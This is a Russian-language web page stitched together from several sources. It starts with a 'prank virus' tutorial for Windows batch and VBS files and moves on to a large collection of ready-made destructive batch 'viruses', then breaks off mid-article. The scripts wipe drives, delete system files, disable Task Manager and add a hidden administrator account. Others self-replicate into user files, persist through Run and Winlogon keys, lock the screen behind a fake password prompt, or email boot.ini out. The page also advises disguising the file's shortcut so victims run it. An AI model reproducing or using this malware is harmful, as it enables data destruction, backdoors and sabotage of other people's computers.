В блокноте команды: Пишем программы (скрипты) в Блокноте Windows – Создаем вирус в блокноте | Форум Miped.ru

Содержание

Как создать вирус шутку с помощью блокнота 🙂 | Личный славянчик супер`s блог

Вирусы-шутки — это несложные программы, которые можно подсунуть другу (или врагу), и тот будет думать, что его компьютер взломан, поражен вирусом или серьезно поврежден. Вирусы-шутки можно писать в обычном Блокноте: нужно лишь записать в файл команды, которые тормозят компьютер, нарушают работу системы или просто пугают пользователя, а затем заставить его запустить этот файл на исполнение. Вирусы-шутки могут быть чем угодно, начиная от надоедливой неприятности и заканчивая кошмаром, нарушающим работу системы. «Вирусы» из этой статьи предназначены только для безобидных шуток, самое худшее что они могут сделать — это выключить компьютер. Внимание: эти вирусы-шутки предназначены только для Windows PC, они не будут работать на Mac OS без специальной подготовки. Начнем с шага 1.

Метод 1 из 3: Пишем поддельный вирус, открывающий «бесконечные» окна

Откройте блокнот. Пакетные (.BAT) файлы содержат команды для компьютера в текстовом виде. Для того, чтобы написать BAT-файл, не нужен специальный редактор — достаточно Блокнота из стандартного набора программ Windows. Блокнот можно найти в меню «Пуск» или в подменю «Стандартные». Открыть Блокнот можно также, нажав сочетание клавиш Win+R, в текстовом поле появившегося диалогового окна набрать «notepad» и нажать Enter.

2
Наберите «@echo off», а затем, на новой линии «CLS». По умолчанию BAT-файлы открывают окно командной строки и выводят исполняемые команды. Команды «@echo off» и «CLS» предотвращают появление команд в окне командной строки, делая причину шутки невидимым для жертвы.

3
Напишите команды для открытия множества (или бесконечного количества) окон. Теперь наступило время написать последовательность команд, исполняя которые, ваш поддельный вирус откроет много окон разных программ один раз или будет отрывать эти окна бесконечно. Важно знать, если бесконечно открывается очень много окон, компьютер в конце концов может зависнуть. Читайте далее о том, как сделать оба вида «вируса»:
Чтобы открыть определенное количество окон, начните новую строку и наберите в Блокноте следующую команду: start (название программы). Вместо фразы в скобках поставьте название программы в вашем компьютере или или полное имя исполняемого файла. Эта команда дает инструкцию компьютеру открывать окно указанной программы. Например, start iexplore.exe откроет окно Internet Explorer. Повторите эту команду «start» столько раз, сколько захотите, и ваш «вирус» откроет окно столько раз, сколько вы укажете. Вот несколько программ которые можно ввести после команды «start»:

iexplore.exe — интернет
calc.exe — Калькулятор
notepad.exe — Блокнот
winword.exe — Microsoft Word
Чтобы открыть бесконечное количество окон, сначала начните новую строку и наберите :A, включая двоеточие. На следующей строке наберите start iexplore.exe (или другую программу). И, наконец, строкой ниже наберите goto A. Эта последовательность команд заставляет компьютер открывать окно Internet Explorer (или любой другой программы), возвращаться к месту непосредственно перед открытием окна, а затем сразу же открывать новое окно, пока окно командной строки не будет закрыто или компьютер не зависнет.

4
Напишите в «вирусе» сообщение. Для устрашающего эффекта можно добавить в «вирус» сообщение, которое заставит пользователя думать, что с его/ее компьютером что-то не так. Чтобы показать сообщение, начните новую строку и наберите echo Ваше сообщение. Затем с новой строки наберите pause. Команда «pause» остановит выполнение «вируса» после появления сообщения.

Чтобы ваша шутка была правдоподобной, напишите сообщение, похожее на настоящие сообщения об ошибках, например: Fatal Error. C:// directory corrupted.

5
Сохраните текст как пакетный файл. Когда закончите, выберите File > Save As..., а затем укажите расширение файла «.bat» (например, «pinball.bat»). В выпадающем списке «Тип файла» должно быть выбрано «Все файлы». Сохраните ваш файл где нибудь в компьютере.

6
Заставьте пользователя открыть файл. Чтобы ваша шутка заработала, нужно сделать так, чтобы кто-то запустил ее. Этого можно добиться разными способами. Один из самых работающих — создать ярлык для своего пакетного файла и изменить его иконку Method_Four:_Change_Shortcut_Icons create a shortcut of your batch file, then change its icon на что-то, чем пользователь действительно пользуется, а затем изменить название ярлыка, чтобы оно соответствовало иконке. Откиньтесь на спинку кресла и наблюдайте за результатами из удобного места!

Метод 2 из 3: Как написать .VBS с сообщением об ошибке или взломе

1
Откройте Блокнот. Как и в предыдущей шутке, в этой нужно написать в Блокноте несколько простых команд. Однако на этот раз эффект будет другой — вместо открытия окон это шутка создает несколько сообщений с ошибками, которые заставят пользователя думать, что его/ее компьютер совершил ошибку или был взломан.

2
Наберите "x=msgbox("Текст сообщения", 5+16, "Заголовок сообщения") точно так, как здесь указано, включая скобки и кавычки, и замените «Текст сообщения» и «Заголовок сообщения» желаемым текстом. Эта команда открывает стандартное диалоговое окно ошибки Windows с указанными вами сообщением об ошибке и заголовком окна. Чтобы ваша шутка была правдоподобной, используйте сообщения и заголовки, похожие на настоящие. Например попробуйте в качестве заголовка "Terminal Error", а в качестве сообщения — "Critical fault detected at C://Users/Windows/system32".
Возможно, вам захочется развить свою шутку в направлении взлома. В таком случае используйте сообщения вроде: «Я имею полный доступ к вашей системе. Приготовьтесь ко взлому». На самом деле ничего такого не случится, так что это сработает только с людьми, которые плохо разбираются в компьютерах.
Выражение «5+16» указывает компьютеру создать диалоговое окно с иконкой критической ошибки и двумя кнопками «Повтор» и «Отмена». Изменяя эти числа, можно получить разные типы окон с ошибками. Просто подставьте из приведенных ниже чисел любое число из одной цифры вместо 5 и любое число из двух цифр вместо 16:

0 (Кнопка OK)
1 (Кнопки OK и Отмена)
2 (Кнопки Отмена, Повтор и Пропустить)
3 (Кнопки Да, Нет, и Отмена)
4 (Кнопки Да и Нет)
5 (Кнопки Повтор и Отмена)
16 (Иконка критической ошибки)
32 (Иконка помощи)
48 (Иконка предупреждения)
64 (Иконка информации)

3
Повторяйте сообщение об ошибке, сколько вам угодно. Повторяйте команды, приведенные выше столько раз, сколько пожелаете, с любыми сообщениями об ошибках. Сообщения будут появляться одно за другим, то есть, как только пользователь закроет одно сообщение — откроется другое. Можете использовать этот факт, чтобы создать длинное сообщение, которое будет носить все более неотлагательный характер.

4
Сохраните документ как файл Visual Basic (VBA). Когда вы напишите все сообщения, которые хотите, сохраните файл. Выберите File > Save As..., и дайте своему файлу имя с окончанием «.vba». Обязательно выберите «Все файлы» из выпадающего списка «Тип файла». Теперь, чтобы шутка удалась, нужно заставить кого-то запустить этот файл, например используя трюк из метода 1.

Метод 3 из 3: Использование предварительно написанного пакетного файла

1
Откройте Блокнот. Это шутка использует команды из Блокнота, чтобы заставить компьютер открывать программы случайным образом до тех пор, пока пакетный файл не будет отключен или компьютер не зависнет. Чтобы сделать эту шутку, вам просто нужно скопировать и вставить команды, указанные в этом разделе. Однако заметьте, что это может работать не на всех компьютерах.

2
Скопируйте и вставьте следующие команды:@echo offclsbegingoto %random%:1start cmd.exegoto begin:2start mspaint.exegoto begin:3start pinball.exegoto begin:4start iexplore.exegoto begin:5start explorer.exegoto begin:6start solitaire.exegoto begin:7start explorer.exegoto begin:8start edit.exegoto begin:9start iexplore.exegoto begin:0start mspaint.exegoto begin

3
Изменяйте эти команды на свое усмотрение. Эта программа случайным образом бесконечно открывает программы, указанные после слова «start». Возможно, вы заметили, что некоторые программы повторяются. Изменяйте список программ, как вы того пожелаете.
Заметьте, что некоторые названия программ, перечисленных выше, могут быть неправильными для некоторых машин, например на некоторых компьютерах может не быть «pinball.exe». Следует проверить дважды правильность названий программ, перед тем, как запускать этот вирус-шутку.

Если вы сомневаетесь в названии какой-то программы, помните, что точный путь программы тоже подходит. Например, вместо «iexplore.exe» можно написать «C:\Program Files\Internet Explorer».

4
Сохраните текст как пакетный файл и запустите его (если отважитесь). Сохраните файл с расширением «.bat», выбрав «Все файлы» из выпадающего списка «Тип файла». Когда вам удастся заставить пользователя запустить его, он начнет случайным образом без остановки открывать программы в компьютере.
Чтобы было веселей, попробуйте заменить в одной из команд '*.exe' на полный путь к какому-либо документу пользователя. Например, 'start C:\Docs\123.doc' откроет документ 123.doc из папки Docs в редакторе по умолчанию, а
edit (полное имя файла)
goto begin
откроет указанный файл в текстовом редакторе DOS. Это будет выглядеть так, как будто хакер читает личные документы. Помните, что имя файла, содержащее пробелы, должно заключаться в кавычки!

5
Изучите значения команд, чтобы модифицировать свои шутки. Даже если вы не понимаете, как они работают, вирусы-шутки могут быть хорошим развлечением. Но вам будет еще веселей, если вы будете понимать, что происходит при их запуске, и когда вы разберетесь, как работают эти «вирусы», вы сможете писать свои собственные! Вот список команд, используемых в этой статье, а также их краткое описание:

@echo off — отключить вывод команд
cls — очистить экран командной строки. Командная строка будет выглядеть аккуратней.
goto A — перейти на метку А.
%random% — переменная Windows, генерирующая случайные числа от 0 до 9 (включительно).
:(число, буква или слово) — метка. На нее можно переходить при помощи команды «goto».
На заметку: в примере выше у нас 10 меток. Если мы пропустим одно число, программа закроется, если %random% сгенерирует это число.

Советы
Вот образец одной из самых надоедливых программ и ее код:

@echo off
:a
start notepad
goto a

Все, что она делает — открывает Блокнот бесконечное количество раз до тех пор, пока вы не закроете окно командной строки. Не запускайте ее на компьютере без присмотра — это может плохо закончиться.
Это упрощенный вариант метода 1, рассмотренного выше.

Экспериментируйте с разными командами! Если вы хотите сделать шутку зловредной, примените команду, которая удаляет файлы или стирает весь жесткий диск. Но я вам ее не скажу, потому что находятся неудачники, которые делают это со своим компьютером, а во всем винят меня!

Предупреждения
У вас могут быть проблемы с использованием вредоносных пакетных файлов или порчей школьных или общественных компьютеров. Непредусмотренная отправка таких файлов через интернет или запись их в общественные системы запрещена.
Не перестарайтесь. 10 копий чего-то вроде Пинбола очень раздражают. Сотни копий могут повесить компьютер и лишить кое-кого работы.

Что вам понадобится
Компьютер с ОС Windows
Блокнот
------------------------------------------------------------------
Вот и всё удачи с шуточным вирусом!

Команды Для Bat-вирусов / Готовые Bat Вирусы | GuardianeLinks

670.png

Простенькие вирусы:
Убирает рабочий стол
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul

Выключается компьютер
@echo off
shutdown -s -t 1 -c "lol" >nul

Перезагрузка компьютера
@echo off
shutdown -r -t 1 -c "lol" >nul

Запрещает запускать программы
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul

Удаление дров
@echo off
del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul

Удаляет звуки Windows
@echo off
del "%SystemRoot%\Media" /q >nul

Запрещает заходить в панель управления
@echo off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer
/v NoControlPanel /t REG_DWORD /d 1 /f >nul

Запрещает комбинацию Ctrl-Alt-Delete
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul

Меняет местами значение кнопок мыши
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Удаляет курсор мыши
del "%SystemRoot%Cursors*.*" >nul

Меняет название корзины
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F

Убирает панель управления
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Серьезные вирусы:

Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)
rd [Буква_Диск]: /s /q

Удаляет все файлы в program files
del c:Program Files/q

Убивает процесс explorer.exe
taskkill /f /im explorer.exe >nul

Создает миллион папок
FOR /L %%i IN (1,1,1000000) DO md %%i

Удаляет все драйвера, которые установлены на компьютере
del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul

Удаляет команду DEL
del %0

Будет открывать бесконечно Paint
😡
Start mspaint
goto x

Изменяет расширение всех ярлыков на .txt
assoc .lnk=.txt

Заражает Autoexec
copy ""%0"" "%SystemRoot%\system32\batinit.bat" >nul
reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "%SystemRoot%\syste m32\batinit.bat" /f >nul

Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)
@echo off
chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /v "support" /t reg_dword /d 0 y

сбой системы (!) - выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
rundll32 user,disableoemlayer

Меняет местами кнопки мыши,но обратная смена не возможна)
rundll32 user,SwapMouseButton

Удаляет ядро системы
del %systemroot%\system32\HAL.dll

Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает
не только в текущем каталоге, но и надкаталоге)
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%ggoto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Вирус заражает *.JPG в текущем каталоге
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Жестокие вирусы:
У вашего ламера будет глючить компьютер.
@echo off
echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /f

Вирус который убивает Винду. Не проверяйте на своем компьютере=)
@echo This virus created by LIZA
@echo Virus: pcforumhack.ru™ Virus
@echo Autor: LIZA
@echo off
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs
reg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v nodesktop /d 1 /freg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClassicShell /d 1 /fset ¶§=%0
copy %¶§% %SystemRoot%\user32dll.bat
reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v RunExplorer32 /d %SystemRoot%\user32dll.bat /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 67108863 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
echo fso.deletefile "C:\ntldr",1 >> %temp%\temp.vbs
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoSelectDownloadDir" /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown" /v "IExplorer" /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoFindFiles" /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoNavButtons" /d 1 /f
echo fso.deletefolder "D:\Windows",1 >> %temp%\temp.vbs
echo fso.deletefolder "I:\Windows",1 >> %temp%\temp.vbs
echo fso.deletefolder "C:\Windows",1 >> %temp%\temp.vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefile sr+"\system32\hal.dll",1 >> %temp%\temp.vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefolder sr+"\system32\dllcache",1 >> %temp%\temp.vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefolder sr+"\system32\drives",1 >> %temp%\temp.vbs
echo s.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString","forum.whack.ru™">>%temp%\temp.vbs
echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","forum.whack.ru™">>%temp%\temp.vbs
echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization","forum.whack.ru™">>%temp%\temp.vbs
echo on error resume next > %temp%\temp1.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp1.vbs
echo do>>%temp%\temp1.vbs
echo fso.getfile ("A:\")>>%temp%\temp1.vbs
echo loop>>%temp%\temp1.vbs
echo on error resume next > %temp%\temp2.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp2.vbs
echo do>>%temp%\temp2.vbs
echo execute"S.Run ""%comspec% /c echo "" & Chr(7), 0, True">>%temp%\temp2.vbs
echo loop>>%temp%\temp2.vbs
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disableregistrytools /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum" /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoNetworkConnections /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v StartmenuLogoff /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoCommonGroups /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFavoritesMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetFolders /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoAddPrinter /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMHelp /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoChangeStartMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyDocs /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyPictures /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
echo set application=createobject("shell.application")>>%temp%\temp.vbs
echo application.minimizeall>>%temp%\temp.vbs
reg add "hklm\Software\Microsoft\Windows\CurrentVersion\run" /v SwapNT /t REG_SZ /d rundll32 user32, SwapMouseButton /f
start rundll32 user32, SwapMouseButton
reg add "HKCR\exefile\shell\open\command" /ve /t REG_SZ /d rundll32.exe /f
echo i=50 >> %temp%\temp.vbs
echo while i^>0 or i^<0 >> %temp%\temp.vbs
echo S.popup "forum.whack.ru™",0, "forum.whack.ru™",0+16 >> %temp%\temp.vbs
echo i=i-1 >> %temp%\temp.vbs
echo wend >> %temp%\temp.vbs
echo do >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{capslock}" >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{numlock}" >> %temp%\temp.vbs
echo wscript.sleep 200 >> %temp%\temp.vbs
echo s.sendkeys"{scrolllock}" >> %temp%\temp.vbs
echo loop>> %temp%\temp.vbs
echo Set oWMP = CreateObject("WMPlayer.OCX.7") >> %temp%\temp.vbs
echo Set colCDROMs = oWMP.cdromCollection >> %temp%\temp.vbs
echo if colCDROMs.Count ^>= 1 then >> %temp%\temp.vbs
echo For i = 0 to colCDROMs.Count - 1 >> %temp%\temp.vbs
echo colCDROMs.Item(i).eject >> %temp%\temp.vbs
echo next >> %temp%\temp.vbs
echo End If >> %temp%\temp.vbs
echo Call SendPost("smtp.mail.ru", "forum.whack.ru™@mail.ru", "[email protected]", "...", "Копм заражен!") >> %temp%\temp.vbs
echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs
echo Set iMsg = CreateObject("CDO.Message") >> %temp%\temp.vbs
echo Set iConf = CreateObject("CDO.Configuration") >> %temp%\temp.vbs
echo Set Flds = iConf.Fields >> %temp%\temp.vbs
echo Flds.Item("

") = 2 >> %temp%\temp.vbs
echo Flds.Item("") = 1 >> %temp%\temp.vbs
echo Flds.Item("") = "support" >> %temp%\temp.vbs
echo Flds.Item("") = "support" >> %temp%\temp.vbs
echo Flds.Item("") = "smtp.mail.ru" >> %temp%\temp.vbs
echo Flds.Item("") = 25 >> %temp%\temp.vbs
echo Flds.Update >> %temp%\temp.vbs
echo iMsg.Configuration = iConf >> %temp%\temp.vbs
echo iMsg.To = strTo >> %temp%\temp.vbs
echo iMsg.From = strFrom >> %temp%\temp.vbs
echo iMsg.Subject = strSubject >> %temp%\temp.vbs
echo iMsg.TextBody = strBody >> %temp%\temp.vbs
echo iMsg.AddAttachment "c:\boot.ini" >> %temp%\temp.vbs
echo iMsg.Send >> %temp%\temp.vbs
echo End Function >> %temp%\temp.vbs
echo Set iMsg = Nothing >> %temp%\temp.vbs
echo Set iConf = Nothing >> %temp%\temp.vbs
echo Set Flds = Nothing >> %temp%\temp.vbs

echo s.run "shutdown -r -t 0 -c ""pcforumhack.ru™"" -f",1 >> %temp%\temp.vbs
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs

Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач.Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)
@echo off
CHCP 1251
cls
Set Yvaga=На вашем компьютере найден вирус.
Set pass=Пароль
Set pas=Введите пароль.
Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль
Set dim=Выключаю вирус...
title Внимание!!!
CHCP 866
IF EXIST C:\windows\boot.bat (
goto ok )
cls
IF NOT EXIST C:\windows\boot.bat (
ECHO Windows Registry Editor Version 5.00 >> C:\0.reg
ECHO. >> C:\0.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >> C:\0.reg
ECHO. >> C:\0.reg
ECHO "Shell"="Explorer.exe, C:\\windows\\boot.bat " >> C:\0.reg
start/wait regedit -s C:\0.reg
del C:\0.reg
ECHO @echo off >>C:\windows\boot.bat
ECHO C:\WINDOWS\system32\taskkill.exe /f /im Explorer.exe >>C:\windows\boot.bat
ECHO reg add "HKCU\software\Microsoft\Windows\CurrentVersion\Policies\system" /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:\windows\boot.bat
ECHO start sys.bat >>C:\windows\boot.bat
attrib +r +a +s +h C:\windows\boot.bat
copy virus.bat c:\windows\sys.bat
attrib +r +a +s +h C:\windows\sys.bat
GOTO end)
:ok
cls
Echo %Yvaga%
echo.
echo %virus%
echo %pas%
set /a choise = 0
set /p choise=%pass%:
if "%choise%" == "101" goto gold
if "%choise%" == "200393" goto status
exit
:status
echo %dim%
attrib -r -a -s -h C:\windows\boot.bat
del C:\windows\boot.bat
attrib -r -a -s -h C:\windows\sys.bat
del C:\windows\sys.bat
cls
:gold
start C:\
:end

Добавляет программу в автозагрузку ОС
copy ""%0"" "%SystemRoot%\system32\File.bat"
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Filel" /t REG_SZ /d "%SystemRoot%\system32\File.bat" /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

Этот вирус,блокирует все программы,но интернет работает.
@Echo off
Echo Virus Loading
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
Echo VIRUS LOAD

@echo off
chcp 1251
echo щаска...
color 4
@echo Вас собирается ~CENS~: ZhenyaZERO

@echo Автор вируса: ZhenyaZERO

@echo Условия: если вам попался этот файл, сразу его удаляйте. Этот файл был создан исключительно для ютуба. Использование этого видео в других целях запрещено.
pause
echo Этап 1: Создание ограничений
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ Хавно там всякое /F
del c:Program Files/q
taskkill /f /im explorer.exe >nul
echo Этап 2: Ща комп начнет глючить
Date 13.09.96
If exist c:ski.bat goto abc
Copy %0 c:ski.bat
Attrib +h c:ski.bat
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/q
echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /
echo Этап 3: Прощай, винда!
del C:\ /s /q
del D:\ /s /q
del I:\ /s /q

Как создать BAT файл или вирус в блокноте?

В этой статье я желаю поведать вам, как создать bat файл, редактировать и запускать его и на что он вообще способен. Все, что нам нужно это блокнот,прямые руки и немного терпения.

Что представляет собой BAT файл?

Это простой текстовый файл или как говорят в народе батник, имеющий расширение .bat В этом файле прописан перечень команд и выполняется он с участием командной строки. Когда вы запускаете bat  файл, сначала происходит запуск командной строки cmd, а он в свою очередь начинает считывать все команды в файле и поочерёдно выполнять их

Для чего создавать BAT файл

